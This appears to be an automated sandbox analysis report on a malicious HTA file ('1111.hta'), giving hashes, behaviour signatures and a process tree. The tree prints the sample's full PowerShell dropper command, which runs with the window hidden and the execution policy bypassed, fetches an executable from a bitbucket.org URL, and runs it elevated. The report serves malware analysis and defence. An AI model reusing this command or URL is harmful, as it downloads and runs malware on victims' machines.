Analysis

  • max time kernel
    37s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    03-01-2025 12:33

General

  • Target

    1111.hta

  • Size

    2KB

  • MD5

    91b57eb5e0925c7522374b0c64902dfd

  • SHA1

    437da5eb27efeb38a9b7f804066205964a345a33

  • SHA256

    e5f2879072cdd3e4905f5fa8017be818d2c61f718d0fd322196e9cd54062ba4a

  • SHA512

    68dc36ae7ba35fb736677a7b179cfdea7b93ff7cb95ea27ffec9bde61cfc3358148cb612a33450b2b5ce452bf47077a8ed6e6d5b497e027b05415a89ec5b76f4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bitbucket.org/docspaceplace/test2/downloads/1.exe

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1111.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('https://bitbucket.org/docspaceplace/test2/downloads/1.exe', $path); Start-Sleep -Seconds 10; Start-Process -Verb RunAs -FilePath $path -ArgumentList '-install'; Start-Sleep -Seconds 20; Remove-Item -Verb RunAs -Path \$path -Force"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860

Network

MITRE ATT&CK Enterprise v15

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Downloads